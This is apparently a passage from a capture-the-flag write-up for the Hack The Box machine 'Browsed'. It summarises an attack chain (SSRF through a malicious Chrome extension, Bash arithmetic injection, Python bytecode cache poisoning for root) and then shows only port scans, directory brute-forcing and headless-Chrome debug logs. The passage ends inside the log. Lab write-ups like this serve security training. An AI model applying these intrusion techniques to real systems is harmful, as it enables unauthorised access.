HTB: Browsed
Browsed is a Linux box hosting a browser extension repository where uploaded extensions are tested in a headless Chrome instance. I’ll analyze the Chrome debug logs to discover an internal Gitea instance and a Python Flask app running on localhost. By crafting a malicious Chrome extension with a background service worker, I’ll perform SSRF to reach the internal Flask app and exploit a Bash arithmetic evaluation injection in a shell script to get remote code execution. For root, I’ll abuse a world-writable pycache directory to poison a Python bytecode file imported by a sudo-allowed script, getting code execution as root.
Box Info
Medium
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.3.225
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-09 17:42 UTC
...[snip]...
Nmap scan report for 10.129.3.225
Host is up, received echo-reply ttl 63 (0.022s latency).
Scanned at 2026-03-09 17:42:04 UTC for 6s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds
Raw packets sent: 65548 (2.884MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.3.225
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-09 17:42 UTC
Nmap scan report for 10.129.3.225
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds
Based on the OpenSSH and nginx versions, the host is likely running Ubuntu 24.04 noble LTS.
Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Website - TCP 80
Site
The site is a browser extension repository / store:
The links on the page all go to anchor points on the same page, other than the top three in the menu bar. “Home” points at /index.html, which is the same main page. “Samples” goes to /samples.html:
Each of these downloads a Zip archive.
“Upload Extension” goes to /upload.php, which presents a form to upload Chrome extensions:
If I take one of the examples and upload it, the page hangs for ~10 seconds, and then output shows up:
I’ll go into this output shortly.
Tech Stack
The HTTP response headers just show nginx:
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 09 Mar 2026 17:44:28 GMT
Content-Type: text/html
Last-Modified: Sun, 17 Aug 2025 14:53:03 GMT
Connection: keep-alive
ETag: W/"68a1eccf-1a34"
Content-Length: 6708
The 404 page is the default nginx 404:
Directory Brute Force
I’ll run feroxbuster against the site, and include -x php since I know the site is using paths ending in .php:
oxdf@hacky$ feroxbuster -u http://10.129.3.225 -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.3.225
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 12w 178c http://10.129.3.225/images => http://10.129.3.225/images/
200 GET 2l 87w 2439c http://10.129.3.225/assets/js/breakpoints.min.js
200 GET 250l 481w 4836c http://10.129.3.225/assets/js/main.js
200 GET 2l 23w 831c http://10.129.3.225/assets/js/jquery.scrolly.min.js
200 GET 80l 153w 4673c http://10.129.3.225/images/pic01.jpg
200 GET 165l 599w 6708c http://10.129.3.225/index.html
200 GET 15l 34w 256c http://10.129.3.225/assets/css/noscript.css
200 GET 2l 37w 2257c http://10.129.3.225/assets/js/jquery.scrollex.min.js
200 GET 587l 1232w 12433c http://10.129.3.225/assets/js/util.js
200 GET 85l 366w 4641c http://10.129.3.225/samples.html
200 GET 2l 39w 5106c http://10.129.3.225/assets/js/jquery.dropotron.min.js
200 GET 2l 52w 2051c http://10.129.3.225/assets/js/browser.min.js
200 GET 170l 482w 6979c http://10.129.3.225/upload.php
200 GET 511l 2728w 53983c http://10.129.3.225/images/pic03.jpg
301 GET 7l 12w 178c http://10.129.3.225/assets => http://10.129.3.225/assets/
200 GET 573l 2289w 41204c http://10.129.3.225/images/pic02.jpg
200 GET 2l 1294w 89501c http://10.129.3.225/assets/js/jquery.min.js
200 GET 4111l 7901w 73447c http://10.129.3.225/assets/css/main.css
200 GET 165l 599w 6708c http://10.129.3.225/
301 GET 7l 12w 178c http://10.129.3.225/assets/css => http://10.129.3.225/assets/css/
301 GET 7l 12w 178c http://10.129.3.225/assets/js => http://10.129.3.225/assets/js/
403 GET 7l 10w 162c http://10.129.3.225/assets/
403 GET 7l 10w 162c http://10.129.3.225/assets/js/
403 GET 7l 10w 162c http://10.129.3.225/assets/css/
301 GET 7l 12w 178c http://10.129.3.225/assets/css/images => http://10.129.3.225/assets/css/images/
301 GET 7l 12w 178c http://10.129.3.225/assets/css/images/ie => http://10.129.3.225/assets/css/images/ie/
[####################] - 43s 180022/180022 0s found:26 errors:0
[####################] - 42s 30000/30000 708/s http://10.129.3.225/
[####################] - 42s 30000/30000 716/s http://10.129.3.225/images/
[####################] - 42s 30000/30000 711/s http://10.129.3.225/assets/css/
[####################] - 42s 30000/30000 710/s http://10.129.3.225/assets/
[####################] - 42s 30000/30000 713/s http://10.129.3.225/assets/js/
[####################] - 42s 30000/30000 715/s http://10.129.3.225/assets/css/images/
Nothing interesting.
Chrome Log Analysis
When I upload one of the sample extensions, it generates a lot of logs. The logs are very long:
[2385:2385:0309/174906.077891:VERBOSE1:chrome_crash_reporter_client.cc(182)] GetCollectStatsConsent(): is_official_chrome_build is false so returning false
[2385:2385:0309/174906.224137:VERBOSE1:chrome_crash_reporter_client.cc(182)] GetCollectStatsConsent(): is_official_chrome_build is false so returning false
[2392:2392:0309/174906.456205:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
[2393:2393:0309/174906.456231:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
[2392:2392:0309/174906.501032:INFO:cpu_info.cc(53)] Available number of cores: 2
[2393:2393:0309/174906.501043:INFO:cpu_info.cc(53)] Available number of cores: 2
[2392:2392:0309/174906.508565:VERBOSE1:zygote_main_linux.cc(201)] ZygoteMain: initializing 0 fork delegates
[2393:2393:0309/174906.508525:VERBOSE1:zygote_main_linux.cc(201)] ZygoteMain: initializing 0 fork delegates
[2385:2385:0309/174906.636694:VERBOSE1:config_dir_policy_loader.cc(121)] Skipping mandatory platform policies because no policy file was found at: /etc/opt/chrome_for_testing/policies/managed
[2385:2385:0309/174906.636841:VERBOSE1:config_dir_policy_loader.cc(121)] Skipping recommended platform policies because no policy file was found at: /etc/opt/chrome_for_testing/policies/recommended
[2385:2385:0309/174906.697118:VERBOSE1:variations_field_trial_creator_base.cc(539)] Applying FieldTrialTestingConfig
[2385:2385:0309/174906.718849:VERBOSE1:variations_field_trial_creator_base.cc(357)] VariationsSetupComplete
[2385:2385:0309/174906.741775:WARNING:display_server_utils.cc(100)] This is not a Wayland session. Falling back to X11. If you need to run Chrome on Wayland using some embedded compositor, e.g. Weston, please specify Wayland as your preferred Ozone platform, or use --ozone-platform=wayland.
[2385:2400:0309/174906.814383:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s
string "org.freedesktop.login1"
[2385:2403:0309/174906.887083:VERBOSE1:bus.cc(917)] Method call: message_type: MESSAGE_METHOD_CALL
interface: org.freedesktop.DBus
member: GetNameOwner
signature: s
string "org.chromium.bluetooth.Manager"
[2385:2385:0309/174906.920785:VERBOSE1:webrtc_event_log_manager.cc(96)] WebRTC remote-bound event logging enabled.
[2385:2385:0309/174906.944095:VERBOSE1:pref_proxy_config_tracker_impl.cc(199)] 0x1144000c4580: set chrome proxy config service to 0x1144000d49c0
[2385:2385:0309/174907.050288:VERBOSE1:device_event_log_impl.cc(204)] [17:49:06.984] Display: EVENT: x11_display_manager.cc:110 Displays updated, count: 1
[2385:2385:0309/174907.050417:VERBOSE1:device_event_log_impl.cc(204)] [17:49:07.050] Display: EVENT: x11_display_manager.cc:112 Display[60] bounds=[0,0 1280x1024], workarea=[0,0 1280x1024], scale=1, rotation=0, panel_rotation=0 external detected
[2385:2385:0309/174907.062074:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
[2385:2400:0309/174907.075372:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2400:0309/174907.075449:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2400:0309/174907.077373:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2400:0309/174907.077406:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2401:0309/174907.146725:VERBOSE1:media_stream_manager.cc(1501)] MSM::InitializeMaybeAsync([this=0x114400130f00])
[2385:2401:0309/174907.146792:VERBOSE1:media_stream_manager.cc(1501)] MDM::MediaDevicesManager()
[2385:2401:0309/174907.149128:VERBOSE1:media_stream_manager.cc(1501)] MSM::MediaStreamManager([this=0x114400130f00]))
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
Fontconfig error: No writable cache directories
[2385:2396:0309/174908.331999:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Consent To Send Stats": No such file or directory (2)
[2385:2385:0309/174908.360719:VERBOSE1:key_storage_util_linux.cc(46)] Password storage detected desktop environment: (unknown)
[2385:2385:0309/174908.360758:VERBOSE1:key_storage_linux.cc(116)] Selected backend for OSCrypt: BASIC_TEXT
[2385:2385:0309/174908.360868:VERBOSE1:key_storage_linux.cc(135)] OSCrypt did not initialize a backend.
[2385:2400:0309/174908.361568:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2385:0309/174908.366999:VERBOSE1:chrome_browser_cloud_management_controller.cc(161)] Cloud management controller initialization aborted as CBCM is not enabled. Please use the `--enable-chrome-browser-cloud-management` command line flag to enable it if you are not using the official Google Chrome build.
[2385:2406:0309/174908.532088:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Default/Web Applications/Logs/WebAppInstallManager.log": No such file or directory (2)
[2385:2400:0309/174908.533546:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2385:0309/174908.539227:VERBOSE1:pref_proxy_config_tracker_impl.cc(199)] 0x1144000c4000: set chrome proxy config service to 0x1144000d7c20
[2385:2385:0309/174908.544550:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(310)] MutablePO2TS::MutablePO2TS
[2385:2406:0309/174908.562425:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm
[2385:2397:0309/174908.564108:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/js
[2385:2406:0309/174908.565482:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm/index": No such file or directory (2)
[2385:2385:0309/174908.565809:VERBOSE1:pref_proxy_config_tracker_impl.cc(199)] 0x1144000c6c00: set chrome proxy config service to 0x1144000d97c0
[2385:2397:0309/174908.565985:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/js/index": No such file or directory (2)
[2385:2397:0309/174908.566224:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/js/index-dir": No such file or directory (2)
[2385:2385:0309/174908.566371:VERBOSE1:device_event_log_impl.cc(204)] [17:49:08.566] Bluetooth: EVENT: bluetooth_api.cc:82 BluetoothAPI: 0x114400125800
[2385:2406:0309/174908.566744:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm/index-dir": No such file or directory (2)
[2385:2406:0309/174908.566784:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm/the-real-index": No such file or directory (2)
[2385:2406:0309/174908.566979:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm
[2385:2406:0309/174908.567001:ERROR:simple_backend_impl.cc(747)] Simple Cache Backend: wrong file structure on disk: 1 path: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/wasm
[2385:2397:0309/174908.566256:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Code Cache/js/the-real-index": No such file or directory (2)
[2385:2397:0309/174908.571430:ERROR:simple_backend_impl.cc(79)] Failed to create directory: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/js
[2385:2397:0309/174908.571500:ERROR:simple_backend_impl.cc(747)] Simple Cache Backend: wrong file structure on disk: 1 path: /var/www/.cache/google-chrome-for-testing/Default/Code Cache/js
[2385:2429:0309/174908.572356:ERROR:disk_cache.cc(216)] Unable to create cache
[2385:2429:0309/174908.573437:ERROR:disk_cache.cc(216)] Unable to create cache
[2385:2385:0309/174908.583850:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2385:2385:0309/174908.583948:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2385:2385:0309/174908.593895:VERBOSE1:bluetooth_low_energy_event_router.cc(291)] Initializing BluetoothLowEnergyEventRouter.
[2385:2385:0309/174908.608104:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2385:2385:0309/174908.608133:VERBOSE1:gaia_auth_util.cc(55)] Canonicalized @gmail.com to @gmail.com
[2385:2385:0309/174908.608277:VERBOSE1:account_reconcilor.cc(181)] AccountReconcilor::AccountReconcilor
[2385:2385:0309/174908.608296:VERBOSE1:account_reconcilor.cc(219)] AccountReconcilor::Initialize
[2385:2385:0309/174908.608417:VERBOSE1:account_reconcilor.cc(273)] AccountReconcilor::RegisterWithContentSettings
[2385:2385:0309/174908.608720:VERBOSE1:account_reconcilor.cc(296)] AccountReconcilor::RegisterWithIdentityManager
[2385:2385:0309/174908.667730:VERBOSE1:cached_result_provider.cc(54)] CachedResultProvider loaded prefs with results from previous session: PredictionResult: timestamp: 13399907498883586 result 0: 0 for segmentation key shopping_user
[2385:2385:0309/174908.720858:VERBOSE1:extension_service.cc(1438)] AddComponentExtension Web Store
[2385:2385:0309/174908.736501:VERBOSE1:extension_service.cc(1438)] AddComponentExtension Chromium PDF Viewer
[2385:2385:0309/174908.746864:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata/verified_contents.json": No such file or directory (2)
[2385:2385:0309/174908.746937:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata/computed_hashes.json": No such file or directory (2)
[2385:2385:0309/174908.746970:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata/generated_indexed_rulesets": No such file or directory (2)
[2385:2385:0309/174908.747028:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata": No such file or directory (2)
[2385:2385:0309/174908.781097:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174908.781141:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174908.781449:VERBOSE1:profile_manager.cc(1921)] ForceSigninCheck: 0, 0, 1
[2385:2397:0309/174908.785439:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Default/Policy/User Policy": No such file or directory (2)
[2385:2397:0309/174908.785506:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.config/google-chrome-for-testing/Default/Policy/Signing Key": No such file or directory (2)
DevTools listening on ws://127.0.0.1:35435/devtools/browser/f9ca757b-3f14-4a45-987a-0a1afdf851a8
[2385:2396:0309/174908.793692:VERBOSE1:component_installer.cc(481)] StartRegistration for Widevine Content Decryption Module
[2385:2396:0309/174908.794053:VERBOSE1:component_installer.cc(316)] Preinstalled component found for Widevine Content Decryption Module at /opt/chrome-linux64/WidevineCdm with version 4.10.2891.0.
[2385:2396:0309/174908.794295:VERBOSE1:component_installer.cc(481)] StartRegistration for Subresource Filter Rules
[2385:2385:0309/174908.799833:VERBOSE1:on_device_head_suggest_component_installer.cc(61)] On Device Head Component will fetch model for locale: ENUS500000
[2385:2385:0309/174908.800133:VERBOSE1:trust_token_key_commitments_component_installer.cc(23)] Registering Trust Token Key Commitments component.
[2385:2396:0309/174908.800442:VERBOSE1:component_installer.cc(481)] StartRegistration for OnDeviceHeadSuggest
[2385:2397:0309/174908.800745:VERBOSE1:component_installer.cc(481)] StartRegistration for Optimization Hints
[2385:2398:0309/174908.800827:VERBOSE1:component_installer.cc(481)] StartRegistration for Trust Token Key Commitments
[2385:2385:0309/174908.802887:VERBOSE1:first_party_sets_component_installer.cc(39)] Registering Related Website Sets component.
[2385:2385:0309/174908.802954:VERBOSE1:masked_domain_list_component_installer.cc(24)] Registering Masked Domain List component.
[2385:2385:0309/174908.803102:VERBOSE1:privacy_sandbox_attestations_component_installer.cc(181)] Registering Privacy Sandbox Attestations component
[2385:2396:0309/174908.803221:VERBOSE1:component_installer.cc(481)] StartRegistration for Masked Domain List
[2385:2398:0309/174908.803379:VERBOSE1:component_installer.cc(481)] StartRegistration for Privacy Sandbox Attestations
[2385:2385:0309/174908.803475:VERBOSE1:afp_blocked_domain_list_component_installer.cc(180)] Registering Anti-Fingerprinting Blocked Domain List Component.
[2385:2385:0309/174908.803632:VERBOSE1:file_type_policies_component_installer.cc(128)] Registering File Type Policies component.
[2385:2406:0309/174908.804256:VERBOSE1:component_installer.cc(481)] StartRegistration for History Search
[2385:2405:0309/174908.804543:VERBOSE1:component_installer.cc(481)] StartRegistration for Certificate Error Assistant
[2385:2407:0309/174908.804944:VERBOSE1:component_installer.cc(481)] StartRegistration for File Type Policies
[2385:2408:0309/174908.805237:VERBOSE1:component_installer.cc(481)] StartRegistration for CRLSet
[2385:2397:0309/174908.805613:VERBOSE1:component_installer.cc(481)] StartRegistration for Fingerprinting Protection Filter Rules
[2385:2409:0309/174908.805485:VERBOSE1:component_installer.cc(481)] StartRegistration for Origin Trials
[2385:2431:0309/174908.806070:VERBOSE1:component_installer.cc(481)] StartRegistration for MEI Preload
[2385:2405:0309/174908.806822:VERBOSE1:component_installer.cc(481)] StartRegistration for PKI Metadata
[2385:2385:0309/174908.807315:VERBOSE1:hyphenation_component_installer.cc(151)] Registering Hyphenation component.
[2385:2409:0309/174908.807341:VERBOSE1:component_installer.cc(481)] StartRegistration for Safety Tips
[2385:2434:0309/174908.807407:VERBOSE1:component_installer.cc(481)] StartRegistration for Crowd Deny
[2385:2398:0309/174908.808018:VERBOSE1:component_installer.cc(316)] Preinstalled component found for Privacy Sandbox Attestations at /opt/chrome-linux64/PrivacySandboxAttestationsPreloaded with version 2025.1.31.0.
[2385:2406:0309/174908.808240:VERBOSE1:component_installer.cc(481)] StartRegistration for Hyphenation
[2385:2398:0309/174908.809857:VERBOSE1:component_installer.cc(481)] StartRegistration for Zxcvbn Data Dictionaries
[2385:2397:0309/174908.810243:VERBOSE1:component_installer.cc(481)] StartRegistration for Autofill States Data
[2385:2431:0309/174908.810805:VERBOSE1:component_installer.cc(316)] Preinstalled component found for MEI Preload at /opt/chrome-linux64/MEIPreload with version 1.0.7.1652906823.
[2385:2406:0309/174908.812916:VERBOSE1:component_installer.cc(316)] Preinstalled component found for Hyphenation at /opt/chrome-linux64/hyphen-data with version 1.0.0.0.
[2385:2385:0309/174908.816729:VERBOSE1:tpcd_metadata_component_installer.cc(23)] Third Party Cookie Deprecation Metadata component.
[2385:2385:0309/174908.816821:VERBOSE1:translate_kit_component_installer.cc(160)] Registering TranslateKit component.
[2385:2385:0309/174908.816901:VERBOSE1:open_cookie_database_component_installer.cc(23)] Registering Open Cookie Database component.
[2385:2385:0309/174908.817023:VERBOSE1:cookie_readiness_list_component_installer.cc(24)] Registering Cookie Readiness List component.
[2385:2396:0309/174908.817830:VERBOSE1:component_installer.cc(481)] StartRegistration for Third-Party Cookie Deprecation Metadata
[2385:2405:0309/174908.818137:VERBOSE1:component_installer.cc(481)] StartRegistration for Plus Address Blocklist
[2385:2398:0309/174908.818265:VERBOSE1:component_installer.cc(481)] StartRegistration for Open Cookie Database
[2385:2406:0309/174908.818483:VERBOSE1:component_installer.cc(481)] StartRegistration for Cookie Readiness List
[2385:2397:0309/174908.818706:VERBOSE1:component_installer.cc(481)] StartRegistration for Amount Extraction Heuristic Regexes
[2413:2413:0309/174908.833715:VERBOSE1:va_stubs.cc(663)] dlopen(libva.so.2) failed.
[2385:2396:0309/174908.834964:VERBOSE1:command_storage_backend.cc(608)] CommandStorageBackend::ReadLastSessionCommands, reading commands from: /var/www/.config/google-chrome-for-testing/Default/Sessions/Session_13399919510846880
[2413:2413:0309/174908.834124:VERBOSE1:va_stubs.cc(665)] dlerror() says:
libva.so.2: cannot open shared object file: No such file or directory
[2385:2397:0309/174908.835954:VERBOSE1:command_storage_backend.cc(608)] CommandStorageBackend::ReadLastSessionCommands, reading commands from: /var/www/.config/google-chrome-for-testing/Default/Sessions/Tabs_13399919511055706
[2413:2413:0309/174908.837085:VERBOSE1:vaapi_wrapper.cc(1556)] GetHandle(): Either VADisplayStateSingleton::PreSandboxInitialization() hasn't been called or that method failed to find a suitable render node
[2385:2385:0309/174908.838070:VERBOSE1:profile_manager.cc(1272)] AddKeepAlive(Default, kBrowserWindow). keep_alives=[kWaitingForFirstBrowserWindow (1), kBrowserWindow (1)]
[2385:2385:0309/174908.838912:VERBOSE1:profile_manager.cc(1350)] ClearFirstBrowserWindowKeepAlive(Default). keep_alives=[kBrowserWindow (1)]
[2413:2413:0309/174908.839376:WARNING:gpu_memory_buffer_support_x11.cc(49)] dri3 extension not supported.
[2413:2413:0309/174908.846037:WARNING:sandbox_linux.cc(420)] InitializeSandbox() called with multiple threads in process gpu-process.
[2413:2413:0309/174908.850235:WARNING:viz_main_impl.cc(85)] VizNullHypothesis is disabled (not a warning)
[2385:2400:0309/174908.965941:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2400:0309/174908.965999:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2396:0309/174909.117139:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2385:0309/174909.261456:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174909.329431:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2385:2385:0309/174909.330168:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type:
[2385:2385:0309/174909.346557:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type:
[2385:2400:0309/174909.348408:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2385:2385:0309/174909.349388:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type:
[2415:2420:0309/174909.355550:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://clients2.google.com/time/1/current?cup2key=8:JX33jNjpBpjoq9T1tCczcqLJ8zcvmi5RAhKnzLTxOmo&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
[2415:2420:0309/174909.381820:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/
[2415:2420:0309/174909.382513:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/
[2415:2420:0309/174909.382796:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
[2385:2385:0309/174909.406467:VERBOSE1:component_installer.cc(560)] FinishRegistration for Widevine Content Decryption Module
[2385:2385:0309/174909.406529:VERBOSE1:component_updater_service.cc(165)] CrxUpdateService starting up. First update attempt will take place in 60 s seconds. Next update attempt will take place in 18000 s seconds.
[2385:2385:0309/174909.406553:VERBOSE1:component_installer.cc(601)] Component ready, version 4.10.2891.0 in /opt/chrome-linux64/WidevineCdm
[2385:2385:0309/174909.406585:VERBOSE1:component_installer.cc(560)] FinishRegistration for Subresource Filter Rules
[2385:2385:0309/174909.406623:VERBOSE1:component_installer.cc(560)] FinishRegistration for Optimization Hints
[2385:2385:0309/174909.406649:VERBOSE1:component_installer.cc(560)] FinishRegistration for OnDeviceHeadSuggest
[2385:2385:0309/174909.406684:VERBOSE1:component_installer.cc(560)] FinishRegistration for Trust Token Key Commitments
[2385:2385:0309/174909.406709:VERBOSE1:component_installer.cc(560)] FinishRegistration for Certificate Error Assistant
[2385:2385:0309/174909.406731:VERBOSE1:component_installer.cc(560)] FinishRegistration for Origin Trials
[2385:2397:0309/174909.406742:VERBOSE1:widevine_cdm_component_installer.cc(398)] Updating hint file with Widevine CDM 4.10.2891.0
[2385:2385:0309/174909.406750:VERBOSE1:component_installer.cc(560)] FinishRegistration for History Search
[2385:2385:0309/174909.406767:VERBOSE1:component_installer.cc(560)] FinishRegistration for PKI Metadata
[2385:2385:0309/174909.406819:VERBOSE1:component_installer.cc(560)] FinishRegistration for Masked Domain List
[2385:2385:0309/174909.406856:VERBOSE1:component_installer.cc(560)] FinishRegistration for Fingerprinting Protection Filter Rules
[2385:2385:0309/174909.406898:VERBOSE1:component_installer.cc(560)] FinishRegistration for File Type Policies
[2385:2385:0309/174909.406916:VERBOSE1:component_installer.cc(560)] FinishRegistration for Crowd Deny
[2385:2385:0309/174909.406932:VERBOSE1:component_installer.cc(560)] FinishRegistration for Privacy Sandbox Attestations
[2385:2385:0309/174909.406946:VERBOSE1:component_installer.cc(601)] Component ready, version 2025.1.31.0 in /opt/chrome-linux64/PrivacySandboxAttestationsPreloaded
[2385:2385:0309/174909.406970:VERBOSE1:privacy_sandbox_attestations_component_installer.cc(111)] Privacy Sandbox Attestations Component ready, version 2025.1.31.0 in /opt/chrome-linux64/PrivacySandboxAttestationsPreloaded
[2385:2385:0309/174909.406980:VERBOSE1:privacy_sandbox_attestations_component_installer.cc(188)] Received privacy sandbox attestations file
[2385:2385:0309/174909.407000:VERBOSE1:component_installer.cc(560)] FinishRegistration for Safety Tips
[2385:2385:0309/174909.407036:VERBOSE1:component_installer.cc(560)] FinishRegistration for Zxcvbn Data Dictionaries
[2385:2385:0309/174909.407062:VERBOSE1:component_installer.cc(560)] FinishRegistration for CRLSet
[2385:2385:0309/174909.407094:VERBOSE1:component_installer.cc(560)] FinishRegistration for Autofill States Data
[2385:2385:0309/174909.407118:VERBOSE1:component_installer.cc(560)] FinishRegistration for MEI Preload
[2385:2385:0309/174909.407131:VERBOSE1:component_installer.cc(601)] Component ready, version 1.0.7.1652906823 in /opt/chrome-linux64/MEIPreload
[2385:2385:0309/174909.407212:VERBOSE1:component_installer.cc(560)] FinishRegistration for Hyphenation
